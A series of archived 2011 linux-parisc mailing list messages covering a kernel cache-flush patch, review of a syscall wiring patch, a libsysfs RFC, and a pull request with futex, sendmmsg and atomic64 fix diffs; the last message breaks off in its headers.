Original-Received: from blu0-omc4-s4.blu0.hotmail.com ([65.55.111.143]:9843 "EHLO
	blu0-omc4-s4.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752907Ab1GaWMB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jul 2011 18:12:01 -0400
Original-Received: from BLU0-SMTP33 ([65.55.111.137]) by blu0-omc4-s4.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 31 Jul 2011 15:12:00 -0700
X-Originating-IP: [69.158.173.138]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.173.138]) by BLU0-SMTP33.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 31 Jul 2011 15:11:59 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 31 Jul 2011 22:12:00.0055 (UTC) FILETIME=[DE6E9C70:01CC4FCE]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3897
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3897>

--Apple-Mail-58-983138103
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

After a considerable amount of testing, I have found that the HPMCs  
that I have been seeing
in the GCC libgomp testsuite are caused by the implementation of  
flush_user_dcache_range.
The current implementation doesn't flush all aliases (e.g., kernel)  
and this leads to cache corruption.
As with flush_cache_mm, we need to either whack the entire cache, or  
do something similar to that
in flush_dcache_page.

The for-[1-8].C tests are the principle problem.  They turn "for  
loops" into a large number of
parallel threads.

I was hoping someone else would have solved this problem, but arm, for  
example, appears to
flush the entire cache on vipt architectures.

The problem with the attached patch is that flushing the entire data  
cache on the rp3440 is
incredibly slow (0x40000 iterations).  I have a patch to unroll the  
loops in flush_instruction_cache_local
and flush_data_cache_local, but still they are still slow.

We are probably missing opportunities to skip flushing the instruction  
cache, but still the data
cache flush will be slow.

What I think needs to be done is to determine the ptep pointer for the  
starting and ending addresses
when the context is current.  From this, we can get the page pointer.   
Then, we may be able to
call flush_dcache_page.  Currently, the only page table lookup that I  
see is in entry.S.

Maybe there is a simpler method?  For example, is there a way to force  
the kernel to use
flush_cache_page.

I'm not sure the change is needed on machines that support non  
equivalent aliases.

Dave



--Apple-Mail-58-983138103
Content-Disposition: attachment; filename="cache.c.d.1.txt"
Content-Type: text/plain; x-unix-mode=0644; name="cache.c.d.1.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 83335f3..532e3bf 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -472,10 +472,14 @@ void flush_cache_mm(struct mm_struct *mm)
 void
 flush_user_dcache_range(unsigned long start, unsigned long end)
 {
+#ifdef CONFIG_SMP
+	flush_data_cache();
+#else
 	if ((end - start) < parisc_cache_flush_threshold)
 		flush_user_dcache_range_asm(start,end);
 	else
 		flush_data_cache();
+#endif
 }
 
 void

--Apple-Mail-58-983138103
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit


--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-58-983138103--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] wire up sysmmsg syscall
Date: Sun, 31 Jul 2011 18:20:24 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <BLU0-SMTP82CE39A50555BFA8FBF61997390@phx.gbl>
References: <1311950222.8190.43.camel@mulgrave> <CA+DQjFgbOy=VV0omtN6QKmzkEbP6kxwYtCFZ4MFwybTXDEav-g@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1312150844 21727 80.91.229.12 (31 Jul 2011 22:20:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 31 Jul 2011 22:20:44 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 01 00:20:39 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QneNA-0004N9-5x
	for glpp-linux-parisc@lo.gmane.org; Mon, 01 Aug 2011 00:20:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752926Ab1GaWUf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 31 Jul 2011 18:20:35 -0400
Original-Received: from blu0-omc4-s16.blu0.hotmail.com ([65.55.111.155]:7430 "EHLO
	blu0-omc4-s16.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752907Ab1GaWUe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 31 Jul 2011 18:20:34 -0400
Original-Received: from BLU0-SMTP82 ([65.55.111.137]) by blu0-omc4-s16.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 31 Jul 2011 15:20:34 -0700
X-Originating-IP: [69.158.173.138]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.173.138]) by BLU0-SMTP82.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 31 Jul 2011 15:20:34 -0700
In-Reply-To: <CA+DQjFgbOy=VV0omtN6QKmzkEbP6kxwYtCFZ4MFwybTXDEav-g@mail.gmail.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 31 Jul 2011 22:20:34.0071 (UTC) FILETIME=[10CF3A70:01CC4FD0]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3898
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3898>


On 31-Jul-11, at 5:46 PM, Thibaut VARENE wrote:

> Hi James,
>
> On Fri, Jul 29, 2011 at 4:37 PM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
>> Signed-off-by: James Bottomley <JBottomley@Parallels.com>
>>
>> ---
>>
>> diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/ 
>> asm/unistd.h
>> index 3392de3..276df1c 100644
>> --- a/arch/parisc/include/asm/unistd.h
>> +++ b/arch/parisc/include/asm/unistd.h
>> @@ -821,8 +821,10 @@
>>  #define __NR_open_by_handle_at (__NR_Linux + 326)
>>  #define __NR_syncfs            (__NR_Linux + 327)
>>  #define __NR_setns             (__NR_Linux + 328)
>> +#define __NR_setns             (__NR_Linux + 328)
>
> ^ I may be wrong but this looks like a spurious "+", just reading  
> this patch...

Yes.  Also, there is a typo in the mail Subject...

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uml.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCHv4 01/11] atomic: add *_dec_not_zero
Date: Tue, 2 Aug 2011 10:58:14 +0100
Lines: 7
Approved: news@gmane.org
Message-ID: <20110802095814.GA22947@linux-mips.org>
References: <1311760070-21532-1-git-send-email-sven@narfation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1312279220 19959 80.91.229.12 (2 Aug 2011 10:00:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 2 Aug 2011 10:00:20 +0000 (UTC)
Cc: linux-m32r-ja@ml.linux-m32r.org, linux-mips@linux-mips.org,
	linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"H. Peter Anvin" <hpa@zytor.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Randy Dunlap <rdunlap@xenotime.net>,
	Paul Mackerras <paulus@samba.org>, Helge Deller <deller@gmx.de>,
	sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
	linux-s390@vger.kernel.org, Russell King <linux@arm.linux.org.uk>,
	user-mode-linux-devel@lists.sourceforge.net,
	Richard Weinberger <richard@nod.at>,
	Hirokazu Takata <takata@linux-m32r.org>, x86@kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Matt Turner <mattst88@gmail.com>,
	Fenghua Yu <fenghua.yu@intel.com>, Arnd Bergmann <arnd@arndb.de>,
	Jeff Dike <jdike@addtoit.com>, Chris Metcalf <cmetcalf@tilera.com>,
	linux-m32r@ml.linux-m32r
To: Sven Eckelmann <sven@narfation.org>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Tue Aug 02 12:00:09 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1QoBlg-0000IN-1a
	for linux-arm-kernel@m.gmane.org; Tue, 02 Aug 2011 12:00:08 +0200
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QoBlf-0006E9-12; Tue, 02 Aug 2011 10:00:07 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QoBle-0001l7-IY; Tue, 02 Aug 2011 10:00:06 +0000
Original-Received: from casper.infradead.org ([2001:770:15f::2])
	by canuck.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QoBlZ-0001kt-CT for linux-arm-kernel@canuck.infradead.org;
	Tue, 02 Aug 2011 10:00:01 +0000
Original-Received: from h5.dl5rb.org.uk ([81.2.74.5] helo=linux-mips.org)
	by casper.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QoBlW-0001sK-V5 for linux-arm-kernel@lists.infradead.org;
	Tue, 02 Aug 2011 09:59:59 +0000
Original-Received: from duck.linux-mips.net (duck.linux-mips.net [127.0.0.1])
	by duck.linux-mips.net (8.14.4/8.14.4) with ESMTP id p729wNce023040;
	Tue, 2 Aug 2011 10:58:23 +0100
Original-Received: (from ralf@localhost)
	by duck.linux-mips.net (8.14.4/8.14.4/Submit) id p729wEun023012;
	Tue, 2 Aug 2011 10:58:14 +0100
Content-Disposition: inline
In-Reply-To: <1311760070-21532-1-git-send-email-sven@narfation.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.8.0 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110802_105959_116955_50B3DC65 
X-CRM114-Status: GOOD (  10.48  )
X-Spam-Score: -1.6 (-)
X-Spam-Report: SpamAssassin version 3.3.2 on casper.infradead.org summary:
	Content analysis details:   (-1.6 points, 5.0 required)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	-1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
	[score: 0.0000]
	0.3 SINGLE_HEADER_1K       A single header contains 1K-2K characters
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:127203 gmane.linux.ports.mips.general:31886 gmane.linux.ports.ia64:21822 gmane.linux.documentation:3158 gmane.linux.ports.sparc:15219 gmane.linux.kernel.cross-arch:10547 gmane.linux.uml.devel:13011 gmane.linux.ports.parisc:3899 gmane.linux.kernel:1174387 gmane.linux.ports.alpha:1521 gmane.linux.ports.ppc64.devel:76238
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/127203>

On Wed, Jul 27, 2011 at 11:47:40AM +0200, Sven Eckelmann wrote:

For MIPS:

Acked-by: Ralf Baechle <ralf@linux-mips.org>

  Ralf

From - Thu Nov 08 21:07:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: RFC: lsparisc without libsysfs
Date: Thu, 4 Aug 2011 17:32:25 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20110804173225.6082676c@epia.jer-c2.orkz.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1312472412 21130 80.91.229.12 (4 Aug 2011 15:40:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 4 Aug 2011 15:40:12 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 04 17:40:04 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qp01j-0003Wi-TP
	for glpp-linux-parisc@lo.gmane.org; Thu, 04 Aug 2011 17:40:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753883Ab1HDPkD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Aug 2011 11:40:03 -0400
Original-Received: from smtp-vbr19.xs4all.nl ([194.109.24.39]:2649 "EHLO
	smtp-vbr19.xs4all.nl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751663Ab1HDPkB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Aug 2011 11:40:01 -0400
X-Greylist: delayed 450 seconds by postgrey-1.27 at vger.kernel.org; Thu, 04 Aug 2011 11:40:01 EDT
Original-Received: from epia.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(authenticated bits=0)
	by smtp-vbr19.xs4all.nl (8.13.8/8.13.8) with ESMTP id p74FWRHG011885
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO)
	for <linux-parisc@vger.kernel.org>; Thu, 4 Aug 2011 17:32:30 +0200 (CEST)
	(envelope-from jer@gentoo.org)
X-Mailer: Claws Mail 3.7.9 (GTK+ 2.24.4; i686-pc-linux-gnu)
X-Virus-Scanned: by XS4ALL Virus Scanner
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3900
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3900>

     Hello there,


lsparisc currently uses libsysfs to find PARISC specific devices in
the sysfs tree.

The Gentoo Linux Project wants to drop sysfsutils[1], including
libsysfs, since it was last updated in 2006 and is purportedly broken
(even though lsparisc still works fine).

Similar utilities, like lsscsi[2] and cpufrequtils[3], stopped using
libsysfs a long time ago and search the sysfs tree in other ways.


Regards,
     jer


[1] https://bugs.gentoo.org/show_bug.cgi?id=377695
[2] http://sg.danny.cz/scsi/lsscsi.html
[3] http://www.kernel.org/pub/linux/utils/kernel/cpufreq/cpufrequtils.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for 3.0
Date: Thu, 04 Aug 2011 10:52:37 -0500
Lines: 202
Approved: news@gmane.org
Message-ID: <1312473157.3034.50.camel@mulgrave>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1312473168 26342 80.91.229.12 (4 Aug 2011 15:52:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 4 Aug 2011 15:52:48 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 04 17:52:43 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Qp0Dy-0002U4-LD
	for glpp-linux-parisc@lo.gmane.org; Thu, 04 Aug 2011 17:52:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751663Ab1HDPwl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Aug 2011 11:52:41 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:39333 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750972Ab1HDPwl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Aug 2011 11:52:41 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A1FCB8EE0DA;
	Thu,  4 Aug 2011 08:52:40 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 175AQlep8IO3; Thu,  4 Aug 2011 08:52:40 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id CE4F78EE085;
	Thu,  4 Aug 2011 08:52:39 -0700 (PDT)
X-Mailer: Evolution 2.32.2 (2.32.2-1.fc14) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3901 gmane.linux.kernel:1175446
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3901>

This is basically three bug fixes that turned up recently (one wire up
of a syscall, a futex fix and an atomic problem with variable size)

The patches are here:

master.kernel.org:/pub/scm/linux/kernel/git/jejb/parisc-2.6.git#fixes

The short changelog is:

Carlos O'Donell (1):
      [PARISC] Fix futex support

James Bottomley (1):
      [PARISC] wire up sendmmsg syscall

John David Anglin (1):
      [PARISC] fix return type of __atomic64_add_return

The diffstat is:

 arch/parisc/include/asm/atomic.h   |    4 +-
 arch/parisc/include/asm/futex.h    |   66 ++++++++++++++++++++++++++++++++---
 arch/parisc/include/asm/unistd.h   |    3 +-
 arch/parisc/kernel/syscall_table.S |    1 +
 4 files changed, 65 insertions(+), 9 deletions(-)

And the full diff is attached below.

James

---

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index f819559..26fd114 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -259,10 +259,10 @@ static __inline__ int atomic_add_unless(atomic_t *v, int a, int u)
 
 #define ATOMIC64_INIT(i) ((atomic64_t) { (i) })
 
-static __inline__ int
+static __inline__ s64
 __atomic64_add_return(s64 i, atomic64_t *v)
 {
-	int ret;
+	s64 ret;
 	unsigned long flags;
 	_atomic_spin_lock_irqsave(v, flags);
 
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 67a33cc..2388bdb 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -5,11 +5,14 @@
 
 #include <linux/futex.h>
 #include <linux/uaccess.h>
+#include <asm/atomic.h>
 #include <asm/errno.h>
 
 static inline int
 futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 {
+	unsigned long int flags;
+	u32 val;
 	int op = (encoded_op >> 28) & 7;
 	int cmp = (encoded_op >> 24) & 15;
 	int oparg = (encoded_op << 8) >> 20;
@@ -18,21 +21,58 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
 		oparg = 1 << oparg;
 
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
+	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(*uaddr)))
 		return -EFAULT;
 
 	pagefault_disable();
 
+	_atomic_spin_lock_irqsave(uaddr, flags);
+
 	switch (op) {
 	case FUTEX_OP_SET:
+		/* *(int *)UADDR2 = OPARG; */
+		ret = get_user(oldval, uaddr);
+		if (!ret)
+			ret = put_user(oparg, uaddr);
+		break;
 	case FUTEX_OP_ADD:
+		/* *(int *)UADDR2 += OPARG; */
+		ret = get_user(oldval, uaddr);
+		if (!ret) {
+			val = oldval + oparg;
+			ret = put_user(val, uaddr);
+		}
+		break;
 	case FUTEX_OP_OR:
+		/* *(int *)UADDR2 |= OPARG; */
+		ret = get_user(oldval, uaddr);
+		if (!ret) {
+			val = oldval | oparg;
+			ret = put_user(val, uaddr);
+		}
+		break;
 	case FUTEX_OP_ANDN:
+		/* *(int *)UADDR2 &= ~OPARG; */
+		ret = get_user(oldval, uaddr);
+		if (!ret) {
+			val = oldval & ~oparg;
+			ret = put_user(val, uaddr);
+		}
+		break;
 	case FUTEX_OP_XOR:
+		/* *(int *)UADDR2 ^= OPARG; */
+		ret = get_user(oldval, uaddr);
+		if (!ret) {
+			val = oldval ^ oparg;
+			ret = put_user(val, uaddr);
+		}
+		break;
 	default:
 		ret = -ENOSYS;
 	}
 
+	_atomic_spin_unlock_irqrestore(uaddr, flags);
+
 	pagefault_enable();
 
 	if (!ret) {
@@ -54,7 +94,9 @@ static inline int
 futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 			      u32 oldval, u32 newval)
 {
+	int ret;
 	u32 val;
+	unsigned long flags;
 
 	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
 	 * our gateway page, and causes no end of trouble...
@@ -65,12 +107,24 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
 		return -EFAULT;
 
-	if (get_user(val, uaddr))
-		return -EFAULT;
-	if (val == oldval && put_user(newval, uaddr))
-		return -EFAULT;
+	/* HPPA has no cmpxchg in hardware and therefore the
+	 * best we can do here is use an array of locks. The
+	 * lock selected is based on a hash of the userspace
+	 * address. This should scale to a couple of CPUs.
+	 */
+
+	_atomic_spin_lock_irqsave(uaddr, flags);
+
+	ret = get_user(val, uaddr);
+
+	if (!ret && val == oldval)
+		ret = put_user(newval, uaddr);
+
 	*uval = val;
-	return 0;
+
+	_atomic_spin_unlock_irqrestore(uaddr, flags);
+
+	return ret;
 }
 
 #endif /*__KERNEL__*/
diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 3392de3..d61de64 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -821,8 +821,9 @@
 #define __NR_open_by_handle_at	(__NR_Linux + 326)
 #define __NR_syncfs		(__NR_Linux + 327)
 #define __NR_setns		(__NR_Linux + 328)
+#define __NR_sendmmsg		(__NR_Linux + 329)
 
-#define __NR_Linux_syscalls	(__NR_setns + 1)
+#define __NR_Linux_syscalls	(__NR_sendmmsg + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 34a4f5a..e66366f 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -427,6 +427,7 @@
 	ENTRY_COMP(open_by_handle_at)
 	ENTRY_SAME(syncfs)
 	ENTRY_SAME(setns)
+	ENTRY_COMP(sendmmsg)
 
 	/* Nothing yet */
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 2.6.39-rc3] parsic: Fix futex support
Date: Fri, 5 Aug 2011 17:44:03 -0400
Lines: 75
Approved: news@gmane.org
Message-ID: <BLU0-SMTP8613717861B7E5D22BB762973C0@phx.gbl>
References: <4E177624.1030500@systemhalted.org> <201107081742.48874.vapier@gentoo.org> <4E1780EE.1010405@systemhalted.org> <BLU0-SMTP8777233F78FA13F6037090974E0@phx.gbl> <CADZpyixCFm7YUfihEJs+eR+gyUcw+S_ty+v4w2bK2s0jMFwUQg@mail.gmail.com> <2F6A03B7-0729-4774-AD1F-5D3C571DE51D@bell.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1312580668 5121 80.91.229.12 (5 Aug 2011 21:44:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 5 Aug 2011 21:44:28 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	Mike Frysinger <vapier@gentoo.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 05 23:44:23 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QpSBr-0003qP-9f
	for glpp-linux-parisc@lo.gmane.org; Fri, 05 Aug 2011 23:44:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755655Ab1HEVoW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 5 Aug 2011 17:44:22 -0400
Original-Received: from blu0-omc4-s4.blu0.hotmail.com ([65.55.111.143]:8659 "EHLO
	blu0-omc4-s4.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751575Ab1HEVoW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
